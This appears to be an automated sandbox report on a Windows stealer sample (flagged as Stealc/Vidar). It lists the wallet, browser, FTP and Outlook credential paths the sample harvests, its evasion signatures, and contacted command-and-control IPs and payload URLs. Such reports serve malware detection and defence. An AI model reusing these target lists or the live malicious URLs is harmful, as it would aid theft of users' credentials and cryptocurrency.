Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2386289151.00000000025AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\*.**o
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Stealc
Source: Yara match File source: 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2386289151.0000000002578000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2783199122.000000000267A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2479176591.0000000002567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 659e6df34d.exe PID: 7596, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 659e6df34d.exe PID: 7856, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CBF0C40 sqlite3_bind_zeroblob, 0_2_6CBF0C40
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CBF0D60 sqlite3_bind_parameter_name, 0_2_6CBF0D60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB18EA0 sqlite3_clear_bindings, 0_2_6CB18EA0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1483358 Sample: file.exe Startdate: 27/07/2024 Architecture: WINDOWS Score: 100 90 www.youtube.com 2->90 92 www.wikipedia.org 2->92 94 33 other IPs or domains 2->94 108 Multi AV Scanner detection for domain / URL 2->108 110 Found malware configuration 2->110 112 Malicious sample detected (through community Yara rule) 2->112 114 16 other signatures 2->114 11 file.exe 39 2->11         started        16 explorti.exe 2->16         started        18 axplong.exe 2->18         started        20 5 other processes 2->20 signatures3 process4 dnsIp5 98 185.215.113.16, 49713, 49723, 49725 WHOLESALECONNECTIONSNL Portugal 11->98 100 85.28.47.31, 49710, 49726, 80 GES-ASRU Russian Federation 11->100 76 C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe, PE32 11->76 dropped 78 C:\Users\user\AppData\...\softokn3[1].dll, PE32 11->78 dropped 80 C:\Users\user\AppData\Local\...\random[1].exe, PE32 11->80 dropped 82 13 other files (9 malicious) 11->82 dropped 146 Detected unpacking (changes PE section rights) 11->146 148 Detected unpacking (overwrites its own PE header) 11->148 150 Tries to steal Mail credentials (via file / registry access) 11->150 168 7 other signatures 11->168 22 cmd.exe 1 11->22         started        24 cmd.exe 1 11->24         started        26 WerFault.exe 22 16 11->26         started        152 Antivirus detection for dropped file 16->152 154 Tries to detect sandboxes and other dynamic analysis tools (window names) 16->154 156 Machine Learning detection for dropped file 16->156 158 Tries to evade debugger and weak emulator (self modifying code) 16->158 160 Hides threads from debuggers 18->160 162 Tries to detect sandboxes / dynamic malware analysis system (registry check) 18->162 164 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->164 166 Binary is likely a compiled AutoIt script file 20->166 29 firefox.exe 20->29         started        31 firefox.exe 20->31         started        34 WerFault.exe 20->34         started        36 WerFault.exe 20->36         started        file6 signatures7 process8 dnsIp9 38 RoamingKJEGDBKFIJ.exe 4 22->38         started        42 conhost.exe 22->42         started        44 userIJKFHIIEHI.exe 4 24->44         started        46 conhost.exe 24->46         started        74 C:\ProgramData\Microsoft\...\Report.wer, Unicode 26->74 dropped 48 firefox.exe 29->48         started        102 youtube-ui.l.google.com 172.217.16.142 GOOGLEUS United States 31->102 104 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 31->104 106 2 other IPs or domains 31->106 51 firefox.exe 31->51         started        file10 process11 dnsIp12 70 C:\Users\user\AppData\Local\...\explorti.exe, PE32 38->70 dropped 132 Antivirus detection for dropped file 38->132 134 Detected unpacking (changes PE section rights) 38->134 136 Machine Learning detection for dropped file 38->136 144 2 other signatures 38->144 53 explorti.exe 19 38->53         started        72 C:\Users\user\AppData\Local\...\axplong.exe, PE32 44->72 dropped 138 Tries to evade debugger and weak emulator (self modifying code) 44->138 140 Tries to detect virtualization through RDTSC time measurements 44->140 142 Hides threads from debuggers 44->142 57 axplong.exe 44->57         started        84 prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 GOOGLEUS United States 48->84 86 prod.ads.prod.webservices.mozgcp.net 34.117.188.166 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG United States 48->86 88 prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 ATGS-MMD-ASUS United States 48->88 59 firefox.exe 48->59         started        file13 signatures14 process15 dnsIp16 96 185.215.113.19, 49722, 49724, 80 WHOLESALECONNECTIONSNL Portugal 53->96 116 Creates multiple autostart registry keys 53->116 118 Hides threads from debuggers 53->118 120 Tries to detect sandboxes / dynamic malware analysis system (registry check) 53->120 122 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 53->122 61 7bfd2dfdc1.exe 53->61         started        64 659e6df34d.exe 53->64         started        124 Antivirus detection for dropped file 57->124 126 Detected unpacking (changes PE section rights) 57->126 128 Machine Learning detection for dropped file 57->128 130 Tries to evade debugger and weak emulator (self modifying code) 57->130 signatures17 process18 signatures19 170 Detected unpacking (changes PE section rights) 61->170 172 Binary is likely a compiled AutoIt script file 61->172 174 Hides threads from debuggers 61->174 66 firefox.exe 61->66         started        176 Detected unpacking (overwrites its own PE header) 64->176 68 WerFault.exe 64->68         started        process20
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
85.28.47.31
 unknown Russian Federation
31643 GES-ASRU true
185.215.113.19
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
172.217.16.142
 youtube-ui.l.google.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
star-mini.c10r.facebook.com 157.240.252.35 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
twitter.com 104.244.42.1 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
services.addons.mozilla.org 143.204.215.105 true
dyna.wikimedia.org 185.15.59.224 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
contile.services.mozilla.com 34.117.188.166 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
youtube-ui.l.google.com 172.217.16.142 true
us-west1.prod.sumo.prod.webservices.mozgcp.net 34.149.128.2 true
reddit.map.fastly.net 151.101.193.140 true
ipv4only.arpa 192.0.0.171 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
normandy-cdn.services.mozilla.com 35.201.103.21 true
telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 true
www.reddit.com unknown unknown
spocs.getpocket.com unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
support.mozilla.org unknown unknown
firefox.settings.services.mozilla.com unknown unknown
push.services.mozilla.com unknown unknown
www.youtube.com unknown unknown
www.facebook.com unknown unknown
detectportal.firefox.com unknown unknown
normandy.cdn.mozilla.net unknown unknown
shavar.services.mozilla.com unknown unknown
www.wikipedia.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll true
  • 17%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://185.215.113.19/Vi9leo/index.php false
  • Avira URL Cloud: malware
 unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll true
  • Avira URL Cloud: malware
 unknown
http://85.28.47.31/8405906461a5200c/nss3.dll true
  • Avira URL Cloud: malware
 unknown